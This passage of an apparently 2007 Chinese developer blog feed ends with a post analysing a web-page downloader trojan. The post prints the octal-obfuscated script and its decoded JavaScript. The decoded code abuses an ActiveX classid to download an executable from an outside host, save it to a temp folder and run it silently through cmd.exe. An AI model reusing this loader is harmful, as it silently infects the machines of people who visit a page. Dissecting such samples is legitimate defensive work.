<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marshal.StructureToPtr(anything,&nbsp;buffer,&nbsp;</span><span style="color: #0000ff">false</span><span style="color: #000000">);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;rawdatas&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[rawsize];<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marshal.Copy(buffer,&nbsp;rawdatas,&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">,&nbsp;rawsize);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marshal.FreeHGlobal(buffer);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">&nbsp;rawdatas;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">object</span><span style="color: #000000">&nbsp;RawDeserialize(</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;rawdatas,&nbsp;Type&nbsp;anytype)<br />
<img id="Codehighlighter1_1328_1713_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1328_1713_Open_Text.style.display='none'; Codehighlighter1_1328_1713_Closed_Image.style.display='inline'; Codehighlighter1_1328_1713_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1328_1713_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1328_1713_Closed_Text.style.display='none'; Codehighlighter1_1328_1713_Open_Image.style.display='inline'; Codehighlighter1_1328_1713_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_1328_1713_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1328_1713_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;rawsize&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Marshal.SizeOf(anytype);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(rawsize&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;rawdatas.Length)<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">null</span><span style="color: #000000">;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IntPtr&nbsp;buffer&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Marshal.AllocHGlobal(rawsize);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marshal.Copy(rawdatas,&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">,&nbsp;buffer,&nbsp;rawsize);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">object</span><span style="color: #000000">&nbsp;retobj&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Marshal.PtrToStructure(buffer,&nbsp;anytype);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marshal.FreeHGlobal(buffer);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">&nbsp;retobj;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
<img src ="http://www.cnblogs.com/evlon/aggbug/865272.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37587/" target="_blank">[新闻]PCWorld：Google到底要干什么？</a>]]></description></item><item><title>一个HTTP.二进制POST和HTTP指定长度接收的C++实现</title><link>http://www.cnblogs.com/evlon/archive/2007/08/13/853145.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Mon, 13 Aug 2007 01:02:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/08/13/853145.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/853145.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/08/13/853145.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/853145.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/853145.html</trackback:ping><description><![CDATA[摘要: //CppSocket.cpp:Definestheentrypointfortheconsoleapplication.//#include"stdafx.h"#include&lt;cstdlib&gt;#include&lt;string&gt;#include&lt;algorithm&gt;#include&lt;iostream&gt;#include&lt;fstream&gt;#i&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2007/08/13/853145.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/853145.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37581/" target="_blank">[新闻]校内网宣布开放平台 陈一舟称将优先推招聘服务</a>]]></description></item><item><title>又一个网页下载者木马</title><link>http://www.cnblogs.com/evlon/archive/2007/08/12/852817.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Sun, 12 Aug 2007 12:40:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/08/12/852817.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/852817.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/08/12/852817.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/852817.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/852817.html</trackback:ping><description><![CDATA[<p><a href="http://xxxx.xxx.xxx/web.htm">文件: http://xxxx.xxx.xxx/web.htm<br></a></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img id=Codehighlighter1_30_4322_Open_Image onclick="this.style.display='none'; Codehighlighter1_30_4322_Open_Text.style.display='none'; Codehighlighter1_30_4322_Closed_Image.style.display='inline'; Codehighlighter1_30_4322_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_30_4322_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_30_4322_Closed_Text.style.display='none'; Codehighlighter1_30_4322_Open_Image.style.display='inline'; Codehighlighter1_30_4322_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" align=top><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">SCRIPT&nbsp;</span><span style="COLOR: #ff0000">LANGUAGE</span><span style="COLOR: #0000ff">="JavaScript"</span><span style="COLOR: #0000ff">&gt;</span><span id=Codehighlighter1_30_4322_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"></span><span id=Codehighlighter1_30_4322_Open_Text><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"><br><img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>eval(</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">\146\165\156\143\164\151\157\156\40\147\156\50\156\51\40\173\40\166\141\162\40\156\165\155\142\145\162\40\75\40\115\141\164\150\56\162\141\156\144\157\155\50\51\52\156\73\40\162\145\164\165\162\156\40\47\176\164\155\160\47\53\115\141\164\150\56\162\157\165\156\144\50\156\165\155\142\145\162\51\53\47\56\145\170\145\47\73\40\175\40\15\12\164\162\171\40\173\40\15\12\166\141\162\40\155\155\61\75\42\150\164\164\160\72\42\73\15\12\155\155\62\75\42\57\57\42\73\15\12\155\155\63\75\42\167\167\167\56\65\65\144\152\56\156\145\164\57\170\171\56\145\170\145\42\73\15\12\144\154\75\155\155\61\53\155\155\62\53\155\155\63\73\40\15\12\141\61\75\42\157\142\152\145\143\164\42\73\141\62\75\42\143\154\141\163\163\151\144\42\73\15\12\141\63\75\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\73\15\12\141\64\75\42\101\144\157\144\142\56\123\164\162\145\141\155\42\73\15\12\146\165\143\153\75\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\73\15\12\144\146\75\50\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\141\61\51\51\73\40\15\12\144\146\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\141\62\54\141\63\51\73\40\15\12\166\141\162\40\170\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\42\53\42\115\42\53\42\114\42\53\42\110\42\53\42\124\42\53\42\124\42\53\42\120\42\54\42\42\51\73\40\15\12\166\141\162\40\123\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\141\64\54\42\42\51\73\40\123\133\42\164\171\160\145\42\135\75\61\73\40\15\12\170\133\42\117\160\145\156\42\135\50\42\107\105\124\42\54\40\144\154\54\60\51\73\40\15\12\170\133\42\123\145\156\144\42\135\50\51\73\40\15\12\146\156\141\155\145\61\75\147\156\50\61\60\60\60\60\51\73\40\15\12\166\141\162\40\106\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\146\165\143\153\54\42\42\51\73\40\15\12\166\141\162\40\164\155\160\75\106\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\40\15\12\146\156\141\155\145\61\75\40\106\133\42\102\165\151\154\144\120\141\164\150\42\135\50\164\155\160\54\146\156\141\155\145\61\51\73\40\15\12\123\133\42\157\160\145\156\42\135\50\51\73\15\12\123\133\42\127\162\151\164\145\42\135\50\170\56\162\145\163\160\157\156\163\145\102\157\144\171\51\73\40\15\12\123\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\146\156\141\155\145\61\54\62\51\73\40\15\12\123\133\42\103\154\157\163\145\42\135\50\51\73\40\15\12\166\141\162\40\121\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\40\15\12\145\170\160\61\75\106\133\42\102\165\151\154\144\120\141\164\150\42\135\50\164\155\160\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\121\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\146\156\141\155\145\61\54\42\42\54\157\160\145\156\54\60\51\73\40\175\40\143\141\164\143\150\50\151\51\40\173\40\151\75\61\73\40\175</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align=top></span></span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">SCRIPT</span><span style="COLOR: #0000ff">&gt;</span></div>
<p>通过解码后:<br></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img id=Codehighlighter1_15_88_Open_Image onclick="this.style.display='none'; Codehighlighter1_15_88_Open_Text.style.display='none'; Codehighlighter1_15_88_Closed_Image.style.display='inline'; Codehighlighter1_15_88_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_15_88_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_15_88_Closed_Text.style.display='none'; Codehighlighter1_15_88_Open_Image.style.display='inline'; Codehighlighter1_15_88_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" align=top><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;gn(n)&nbsp;</span><span id=Codehighlighter1_15_88_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"></span><span id=Codehighlighter1_15_88_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;number&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;Math.random()</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">n;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;'</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">tmp'</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">Math.round(number)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'.exe';&nbsp;}</span></span><span style="COLOR: #000000">&nbsp;<br><img id=Codehighlighter1_95_891_Open_Image onclick="this.style.display='none'; Codehighlighter1_95_891_Open_Text.style.display='none'; Codehighlighter1_95_891_Closed_Image.style.display='inline'; Codehighlighter1_95_891_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_95_891_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_95_891_Closed_Text.style.display='none'; Codehighlighter1_95_891_Open_Image.style.display='inline'; Codehighlighter1_95_891_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #0000ff">try</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_95_891_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"></span><span id=Codehighlighter1_95_891_Open_Text><span style="COLOR: #000000">{&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;mm1</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">http:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>mm2</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">//</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>mm3</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">www.55dj.net/xy.exe</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>dl</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">mm1</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">mm2</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">mm3;&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>a1</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">object</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;a2</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">classid</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>a3</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">clsid:BD96C556-65A3-11D0-983A-00C04FC29E36</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>a4</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Adodb.Stream</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>fuck</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Scripting.FileSystemObject</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>df</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">(window[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">document</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">createElement</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](a1));&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>df[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">setAttribute</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](a2,a3);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;x</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">df[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CreateObject</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Microsoft.X</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">M</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">L</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">H</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">T</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">T</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">P</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;S</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">df[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CreateObject</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](a4,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">);&nbsp;S[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">type</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>x[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Open</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;dl,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>x[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Send</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">]();&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>fname1</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">gn(</span><span style="COLOR: #000000">10000</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;F</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">df[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CreateObject</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](fuck,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;tmp</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">F[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetSpecialFolder</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>fname1</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;F[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">BuildPath</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](tmp,fname1);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>S[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">]();<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>S[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Write</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](x.responseBody);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>S[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">SaveToFile</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](fname1,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>S[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Close</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">]();&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;Q</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">df[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CreateObject</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Shell.Application</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align=top>exp1</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">F[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">BuildPath</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](tmp</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'\\system32','cmd.exe');<br><img id=Codehighlighter1_902_909_Open_Image onclick="this.style.display='none'; Codehighlighter1_902_909_Open_Text.style.display='none'; Codehighlighter1_902_909_Closed_Image.style.display='inline'; Codehighlighter1_902_909_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_902_909_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_902_909_Closed_Text.style.display='none'; Codehighlighter1_902_909_Open_Image.style.display='inline'; Codehighlighter1_902_909_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" align=top>Q[</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ShellExecute</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">](exp1,'&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">c&nbsp;'</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">fname1,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,open,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;}</span></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">catch</span><span style="COLOR: #000000">(i)&nbsp;</span><span id=Codehighlighter1_902_909_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img 